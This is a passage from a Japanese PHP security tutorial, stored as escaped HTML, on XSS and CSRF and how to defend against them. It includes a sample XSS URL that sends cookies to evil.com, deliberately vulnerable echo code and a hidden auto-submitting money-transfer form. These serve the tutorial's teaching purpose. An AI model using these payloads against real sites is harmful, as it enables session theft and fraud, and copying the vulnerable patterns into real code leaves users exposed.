066\u3044\u3066\u3082\u3001\u5165\u529b\u5024\u306e\u691c\u8a3c\uff08\u578b\u3001\u9577\u3055\u3001\u5f62\u5f0f\u306a\u3069\uff09\u306f\u884c\u3046\u3079\u304d\u3067\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u5bfe\u7b56\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u57fa\u672c\u4e2d\u306e\u57fa\u672c\u3067\u3059\u3002\u3069\u3093\u306a\u306b\u5c0f\u3055\u306a\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u3082\u3001\u5fc5\u305a\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4f7f\u7528\u3057\u3001\u751f\u306eSQL\u30af\u30a8\u30ea\u306b\u76f4\u63a5\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u7d50\u5408\u3059\u308b\u3053\u3068\u306f\u7d76\u5bfe\u306b\u907f\u3051\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-27\">\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0(XSS) \u2013 \u4e0d\u6b63\u306a\u30b9\u30af\u30ea\u30d7\u30c8\u5b9f\u884c\u3092\u9632\u3050<\/h3>\n\n\n\n<p>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u306f\u3001\u653b\u6483\u8005\u304cWeb\u30da\u30fc\u30b8\u306b\u60aa\u610f\u306e\u3042\u308b\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u30b5\u30a4\u30c9\u30b9\u30af\u30ea\u30d7\u30c8\uff08\u4e3b\u306bJavaScript\uff09\u3092\u6ce8\u5165\u3057\u3001\u305d\u308c\u304c\u4ed6\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30d6\u30e9\u30a6\u30b6\u3067\u5b9f\u884c\u3055\u308c\u308b\u8106\u5f31\u6027\u3067\u3059\u3002PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u9069\u5207\u306a\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u6020\u308b\u3068\u3001XSS\u653b\u6483\u306e\u5371\u967a\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-28\">XSS\u306e\u7a2e\u985e\u3068\u653b\u6483\u30b7\u30ca\u30ea\u30aa<\/h4>\n\n\n\n<p>XSS\u653b\u6483\u306f\u4e3b\u306b3\u3064\u306e\u30bf\u30a4\u30d7\u306b\u5206\u985e\u3055\u308c\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u53cd\u5c04\u578bXSS (Reflected XSS)<\/strong> \u30e6\u30fc\u30b6\u30fc\u5165\u529b\u304c\u30b5\u30fc\u30d0\u30fc\u306e\u5fdc\u7b54\u306b\u76f4\u63a5\u53cd\u6620\u3055\u308c\u308b\u653b\u6483\u3067\u3059\u3002\u4f8b\u3048\u3070\u3001\u691c\u7d22\u7d50\u679c\u3084\u3001\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306b\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u305d\u306e\u307e\u307e\u8868\u793a\u3059\u308b\u30b1\u30fc\u30b9\u304c\u8a72\u5f53\u3057\u307e\u3059\u3002 <code>\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9 echo \"\u691c\u7d22\u7d50\u679c: \" . $_GET['query'];<\/code> \u653b\u6483\u4f8b: <code>https:\/\/example.com\/search.php?query=&lt;script&gt;document.location='https:\/\/evil.com\/steal.php?cookie='+document.cookie&lt;\/script&gt;<\/code><\/li>\n\n\n\n<li><strong>\u84c4\u7a4d\u578bXSS (Stored XSS)<\/strong> \u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306a\u3069\u306b\u4fdd\u5b58\u3055\u308c\u3001\u4ed6\u306e\u30e6\u30fc\u30b6\u30fc\u304c\u305d\u306e\u30da\u30fc\u30b8\u3092\u95b2\u89a7\u3059\u308b\u3068\u5b9f\u884c\u3055\u308c\u308b\u653b\u6483\u3067\u3059\u3002\u30b3\u30e1\u30f3\u30c8\u6a5f\u80fd\u3084\u63b2\u793a\u677f\u306a\u3069\u3067\u767a\u751f\u3057\u307e\u3059\u3002 <code>\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9 $comment = $_POST['comment']; $stmt = $db-&gt;prepare(\"INSERT INTO comments (comment) VALUES (?)\"); $stmt-&gt;execute([$comment]); \/\/ \u5f8c\u3067\u8868\u793a\u3059\u308b\u969b $comments = $db-&gt;query(\"SELECT comment FROM comments\")-&gt;fetchAll(); foreach ($comments as $comment) { echo \"&lt;div&gt;\" . $comment['comment'] . \"&lt;\/div&gt;\"; \/\/ \u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u3066\u3044\u306a\u3044 }<\/code><\/li>\n\n\n\n<li><strong>DOM\u578bXSS (DOM-based XSS)<\/strong> \u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u5074\u306eJavaScript\u30b3\u30fc\u30c9\u304cDOM\u64cd\u4f5c\u3092\u901a\u3058\u3066\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u653b\u6483\u3067\u3059\u3002\u30b5\u30fc\u30d0\u30fc\u5074\u3067\u306f\u691c\u51fa\u304c\u96e3\u3057\u3044\u7279\u5fb4\u304c\u3042\u308a\u307e\u3059\u3002 <code>\/\/ \u8106\u5f31\u306aJavaScript\u30b3\u30fc\u30c9 document.getElementById(\"greeting\").innerHTML = \"\u3053\u3093\u306b\u3061\u306f\u3001\" + location.hash.substring(1);<\/code><\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-29\">XSS\u5bfe\u7b56\u306e\u5b9f\u88c5\u65b9\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-30\">1. HTML\u306e\u51fa\u529b\u30a8\u30b9\u30b1\u30fc\u30d7<\/h5>\n\n\n\n<p>\u6700\u3082\u57fa\u672c\u7684\u304b\u3064\u91cd\u8981\u306a\u5bfe\u7b56\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u51fa\u529b\u3059\u308b\u969b\u306b\u9069\u5207\u306b\u30a8\u30b9\u30b1\u30fc\u30d7\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5b89\u5168\u306a\u30b3\u30fc\u30c9\necho \"\u691c\u7d22\u7d50\u679c: \" . htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');\n<\/pre>\n\n\n\n<p><code>htmlspecialchars<\/code>\u95a2\u6570\u306f\u3001HTML\u306e\u7279\u6b8a\u6587\u5b57\uff08<code>&lt;<\/code>, <code>&gt;<\/code>, <code>&amp;<\/code>, <code>\"<\/code>, <code>'<\/code>\uff09\u3092\u30a8\u30f3\u30c6\u30a3\u30c6\u30a3\u306b\u5909\u63db\u3057\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-31\">2. \u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306b\u5fdc\u3058\u305f\u30a8\u30b9\u30b1\u30fc\u30d7<\/h5>\n\n\n\n<p>\u51fa\u529b\u5148\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\uff08HTML\u3001JavaScript\u3001CSS\u3001URL\uff09\u306b\u3088\u3063\u3066\u3001\u9069\u5207\u306a\u30a8\u30b9\u30b1\u30fc\u30d7\u65b9\u6cd5\u304c\u7570\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ HTML\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\n$safeHtml = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');\n\n\/\/ JavaScript\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\n$safeJs = json_encode($input);\necho \"&lt;script&gt;var userInput = \" . $safeJs . \";&lt;\/script&gt;\";\n\n\/\/ URL\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\n$safeUrl = urlencode($input);\necho \"&lt;a href=\\\"https:\/\/example.com\/?q={$safeUrl}\\\"&gt;\u30ea\u30f3\u30af&lt;\/a&gt;\";\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-32\">3. Content Security Policy (CSP)\u306e\u8a2d\u5b9a<\/h5>\n\n\n\n<p>HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u30d8\u30c3\u30c0\u30fc\u306b\u9069\u5207\u306aCSP\u8a2d\u5b9a\u3092\u8ffd\u52a0\u3059\u308b\u3053\u3068\u3067\u3001XSS\u653b\u6483\u306e\u30ea\u30b9\u30af\u3092\u5927\u5e45\u306b\u8efd\u6e1b\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ CSP\u30d8\u30c3\u30c0\u30fc\u306e\u8a2d\u5b9a\u4f8b\nheader(\"Content-Security-Policy: default-src 'self'; script-src 'self' https:\/\/trusted-cdn.com\");\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-33\">4. PHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u6d3b\u7528<\/h5>\n\n\n\n<p>\u30e2\u30c0\u30f3\u306aPHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306f\u3001\u81ea\u52d5\u7684\u306aXSS\u5bfe\u7b56\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Laravel\u306eblade\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\uff08\u81ea\u52d5\u30a8\u30b9\u30b1\u30fc\u30d7\uff09\n{{ $userInput }}  \/\/ \u81ea\u52d5\u7684\u306bhtmlspecialchars\u304c\u9069\u7528\u3055\u308c\u308b\n\n\/\/ \u751f\u306eHTML\u3092\u51fa\u529b\u3057\u305f\u3044\u5834\u5408\uff08\u4fe1\u983c\u3067\u304d\u308b\u5165\u529b\u306e\u307f\u4f7f\u7528\uff09\n{!! $trustedHtml !!}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-34\">5. \u5165\u529b\u306e\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u3068\u30b5\u30cb\u30bf\u30a4\u30ba<\/h5>\n\n\n\n<p>\u51fa\u529b\u30a8\u30b9\u30b1\u30fc\u30d7\u306b\u52a0\u3048\u3066\u3001\u5165\u529b\u6642\u70b9\u3067\u306e\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u3068\u30b5\u30cb\u30bf\u30a4\u30ba\u3082\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5165\u529b\u306e\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u3068\u30b5\u30cb\u30bf\u30a4\u30ba\n$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\nif (!$email) {\n    \/\/ \u4e0d\u6b63\u306a\u5165\u529b\u51e6\u7406\n}\n<\/pre>\n\n\n\n<p>XSS\u653b\u6483\u306f\u4f9d\u7136\u3068\u3057\u3066Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u4e3b\u8981\u306a\u8105\u5a01\u3067\u3059\u3002PHP\u958b\u767a\u8005\u306f\u3001\u3059\u3079\u3066\u306e\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u4e0d\u4fe1\u3057\u3001\u9069\u5207\u306a\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u7fd2\u6163\u3092\u8eab\u306b\u3064\u3051\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002\u7279\u306b\u3001\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3084\u5c02\u7528\u306e\u51fa\u529b\u95a2\u6570\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u4e00\u8cab\u3057\u305fXSS\u5bfe\u7b56\u3092\u5b9f\u88c5\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-35\">\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea(CSRF) \u2013 \u4e0d\u6b63\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u5bfe\u7b56<\/h3>\n\n\n\n<p>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08CSRF\uff09\u306f\u3001\u653b\u6483\u8005\u304c\u88ab\u5bb3\u8005\u306e\u30d6\u30e9\u30a6\u30b6\u3092\u4f7f\u3063\u3066\u3001\u88ab\u5bb3\u8005\u306e\u8a8d\u8a3c\u6e08\u307f\u30bb\u30c3\u30b7\u30e7\u30f3\u3067\u4e0d\u6b63\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u653b\u6483\u3067\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u77e5\u3089\u306a\u3044\u9593\u306b\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u5909\u66f4\u3084\u8cc7\u91d1\u8ee2\u9001\u306a\u3069\u306e\u64cd\u4f5c\u304c\u5b9f\u884c\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-36\">CSRF\u306e\u4ed5\u7d44\u307f\u3068\u653b\u6483\u30b7\u30ca\u30ea\u30aa<\/h4>\n\n\n\n<p>CSRF\u306f\u4ee5\u4e0b\u306e\u6761\u4ef6\u304c\u63c3\u3046\u3068\u767a\u751f\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u30e6\u30fc\u30b6\u30fc\u304c\u5bfe\u8c61\u30b5\u30a4\u30c8\u306b\u8a8d\u8a3c\u6e08\u307f\uff08\u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u3092\u4fdd\u6301\uff09<\/li>\n\n\n\n<li>\u653b\u6483\u8005\u304c\u64cd\u4f5c\u5185\u5bb9\u3092\u4e88\u6e2c\u3067\u304d\u308b\uff08\u30ea\u30af\u30a8\u30b9\u30c8\u30d1\u30e9\u30e1\u30fc\u30bf\u304c\u56fa\u5b9a\u7684\uff09<\/li>\n\n\n\n<li>\u30d6\u30e9\u30a6\u30b6\u304c\u30ea\u30af\u30a8\u30b9\u30c8\u6642\u306b\u81ea\u52d5\u7684\u306bCookie\u3092\u9001\u4fe1\u3059\u308b<\/li>\n<\/ol>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-37\">\u653b\u6483\u4f8b<\/h5>\n\n\n\n<p>\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30c8\u306eHTML\u304c\u5b58\u5728\u3059\u308b\u3068\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;html&gt;\n  &lt;body&gt;\n    &lt;h1&gt;\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u4e2d\uff01\u30af\u30ea\u30c3\u30af\u3057\u3066\u5fdc\u52df\uff01&lt;\/h1&gt;\n    &lt;!-- \u898b\u3048\u306a\u3044\u30d5\u30a9\u30fc\u30e0\u304c\u81ea\u52d5\u9001\u4fe1\u3055\u308c\u308b --&gt;\n    &lt;form action=\"https:\/\/bank.example.com\/transfer.php\" method=\"POST\" id=\"csrf-form\"&gt;\n      &lt;input type=\"hidden\" name=\"recipient\" value=\"attacker\"&gt;\n      &lt;input type=\"hidden\" name=\"amount\" value=\"1000000\"&gt;\n    &lt;\/form&gt;\n    &lt;script&gt;document.getElementById(\"csrf-form\").submit();&lt;\/script&gt;\n  &lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u3053\u306e\u30da\u30fc\u30b8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3068\u3001\u30d0\u30f3\u30ad\u30f3\u30b0\u30b5\u30a4\u30c8\u3078\u306e\u8cc7\u91d1\u8ee2\u9001\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u81ea\u52d5\u7684\u306b\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u305d\u306e\u30b5\u30a4\u30c8\u306b\u30ed\u30b0\u30a4\u30f3\u6e08\u307f\u3067\u3042\u308c\u3070\u3001\u653b\u6483\u306f\u6210\u529f\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-38\">CSRF\u5bfe\u7b56\u306e\u5b9f\u88c5\u65b9\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-39\">1. CSRF\u30c8\u30fc\u30af\u30f3\u3092\u4f7f\u7528\u3059\u308b<\/h5>\n\n\n\n<p>\u6700\u3082\u52b9\u679c\u7684\u306aCSRF\u5bfe\u7b56\u306f\u3001\u5404\u30d5\u30a9\u30fc\u30e0\u3084\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u4e00\u610f\u306e\u30c8\u30fc\u30af\u30f3\u3092\u542b\u3081\u3001\u30b5\u30fc\u30d0\u30fc\u5074\u3067\u691c\u8a3c\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u958b\u59cb\uff08\u5fc5\u305a\u6700\u521d\u306b\uff09\nsession_start();\n\n\/\/ CSRF\u30c8\u30fc\u30af\u30f3\u306e\u751f\u6210\nif (!isset($_SESSION['csrf_token'])) {\n    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));\n}\n\n\/\/ \u30d5\u30a9\u30fc\u30e0\u306b\u30c8\u30fc\u30af\u30f3\u3092\u57cb\u3081\u8fbc\u3080\nfunction csrf_token_tag() {\n    return '&lt;input type=\"hidden\" name=\"csrf_token\" value=\"' . $_SESSION['csrf_token'] . '\"&gt;';\n}\n\n\/\/ POST\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u306e\u30c8\u30fc\u30af\u30f3\u691c\u8a3c\nfunction csrf_check() {\n    if ($_SERVER['REQUEST_METHOD'] === 'POST') {\n        if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {\n            \/\/ \u30c8\u30fc\u30af\u30f3\u304c\u7121\u52b9\u306a\u5834\u5408\u306f\u30a8\u30e9\u30fc\u51e6\u7406\n            http_response_code(403);\n            die('\u4e0d\u6b63\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u3059');\n        }\n    }\n}\n\n\/\/ \u4f7f\u7528\u4f8b - \u30d5\u30a9\u30fc\u30e0\u8868\u793a\n?&gt;\n&lt;form method=\"POST\" action=\"process.php\"&gt;\n    &lt;?php echo csrf_token_tag(); ?&gt;\n    &lt;!-- \u30d5\u30a9\u30fc\u30e0\u306e\u5185\u5bb9 --&gt;\n    &lt;input type=\"text\" name=\"username\"&gt;\n    &lt;button type=\"submit\"&gt;\u9001\u4fe1&lt;\/button&gt;\n&lt;\/form&gt;\n\n&lt;?php\n\/\/ \u4f7f\u7528\u4f8b - \u30ea\u30af\u30a8\u30b9\u30c8\u51e6\u7406\ncsrf_check();  \/\/ \u30ea\u30af\u30a8\u30b9\u30c8\u51e6\u7406\u306e\u6700\u521d\u306b\u547c\u3073\u51fa\u3059\n\/\/ \u691c\u8a3c\u306b\u6210\u529f\u3057\u305f\u3089\u51e6\u7406\u3092\u7d9a\u884c\n\/\/ ...\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-40\">2. SameSite Cookie\u5c5e\u6027\u306e\u8a2d\u5b9a<\/h5>\n\n\n\n<p>\u30e2\u30c0\u30f3\u306a\u30d6\u30e9\u30a6\u30b6\u3067\u306f\u3001SameSite Cookie\u5c5e\u6027\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u5916\u90e8\u30b5\u30a4\u30c8\u304b\u3089\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3067Cookie\u304c\u9001\u4fe1\u3055\u308c\u306a\u3044\u3088\u3046\u306b\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u306bSameSite\u5c5e\u6027\u3092\u8a2d\u5b9a\nsession_start();\n$params = session_get_cookie_params();\nsetcookie(\n    session_name(),\n    session_id(),\n    [\n        'expires' =&gt; $params['lifetime'] ? time() + $params['lifetime'] : 0,\n        'path' =&gt; $params['path'],\n        'domain' =&gt; $params['domain'],\n        'secure' =&gt; true,  \/\/ HTTPS\u3067\u306e\u307fCookie\u3092\u9001\u4fe1\n        'httponly' =&gt; true,  \/\/ JavaScript\u304b\u3089\u306e\u30a2\u30af\u30bb\u30b9\u3092\u7981\u6b62\n        'samesite' =&gt; 'Lax'  \/\/ \u540c\u4e00\u30b5\u30a4\u30c8\u304b\u3089\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u307fCookie\u3092\u9001\u4fe1\n    ]\n);\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-41\">3. PHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3067\u306eCSRF\u5bfe\u7b56<\/h5>\n\n\n\n<p>\u4e3b\u8981\u306aPHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306b\u306f\u3001CSRF\u5bfe\u7b56\u304c\u7d44\u307f\u8fbc\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"i-42\">Laravel<\/h6>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30d5\u30a9\u30fc\u30e0\u306bCSRF\u30c8\u30fc\u30af\u30f3\u3092\u542b\u3081\u308b\n&lt;form method=\"POST\" action=\"\/profile\"&gt;\n    @csrf\n    &lt;!-- \u30d5\u30a9\u30fc\u30e0\u306e\u5185\u5bb9 --&gt;\n&lt;\/form&gt;\n\n\/\/ JavaScript\u30ea\u30af\u30a8\u30b9\u30c8\u7528\u306e\u8a2d\u5b9a\n&lt;meta name=\"csrf-token\" content=\"{{ csrf_token() }}\"&gt;\n&lt;script&gt;\n    $.ajaxSetup({\n        headers: {\n            'X-CSRF-TOKEN': $('meta[name=\"csrf-token\"]').attr('content')\n        }\n    });\n&lt;\/script&gt;\n<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"i-43\">Symfony<\/h6>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30d5\u30a9\u30fc\u30e0\u306bCSRF\u30c8\u30fc\u30af\u30f3\u3092\u542b\u3081\u308b\n$form = $this-&gt;createFormBuilder()\n    -&gt;add('task', TextType::class)\n    -&gt;add('save', SubmitType::class)\n    -&gt;getForm();\n\/\/ Symfony\u30d5\u30a9\u30fc\u30e0\u306f\u81ea\u52d5\u7684\u306bCSRF\u30c8\u30fc\u30af\u30f3\u3092\u542b\u3081\u308b\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-44\">CSRF\u5bfe\u7b56\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u91cd\u8981\u306a\u64cd\u4f5c\u306b\u306f\u78ba\u8a8d\u30b9\u30c6\u30c3\u30d7\u3092\u8ffd\u52a0\u3059\u308b<\/strong>\uff1a\u30d1\u30b9\u30ef\u30fc\u30c9\u5909\u66f4\u3084\u8cc7\u91d1\u8ee2\u9001\u306a\u3069\u3001\u91cd\u8981\u306a\u64cd\u4f5c\u3092\u884c\u3046\u524d\u306b\u73fe\u5728\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u518d\u5165\u529b\u3092\u8981\u6c42\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30ea\u30d5\u30a1\u30e9\u30fc\u30c1\u30a7\u30c3\u30af\u3092\u88dc\u52a9\u7684\u306b\u4f7f\u7528\u3059\u308b<\/strong>\uff1aCSRF\u30c8\u30fc\u30af\u30f3\u3068\u4f75\u305b\u3066\u3001\u30ea\u30d5\u30a1\u30e9\u30fc\u30d8\u30c3\u30c0\u30fc\u306e\u30c1\u30a7\u30c3\u30af\u3082\u884c\u3046\u3053\u3068\u3067\u3001\u591a\u5c64\u9632\u5fa1\u3092\u5b9f\u73fe\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u6709\u52b9\u671f\u9650\u4ed8\u304d\u30c8\u30fc\u30af\u30f3\u306e\u4f7f\u7528<\/strong>\uff1a\u9577\u6642\u9593\u6709\u52b9\u306aCSRF\u30c8\u30fc\u30af\u30f3\u306f\u3001\u30ea\u30fc\u30af\u3057\u305f\u5834\u5408\u306e\u30ea\u30b9\u30af\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002\u5b9a\u671f\u7684\u306b\u66f4\u65b0\u3059\u308b\u304b\u3001\u6709\u52b9\u671f\u9650\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u6709\u52b9\u671f\u9650\u4ed8\u304d\u30c8\u30fc\u30af\u30f3\u306e\u4f8b\n$_SESSION['csrf_token'] = bin2hex(random_bytes(32));\n$_SESSION['csrf_token_time'] = time();\n\n\/\/ \u691c\u8a3c\u6642\nif (time() - $_SESSION['csrf_token_time'] &gt; 3600) {  \/\/ 1\u6642\u9593\u306e\u5236\u9650\n    \/\/ 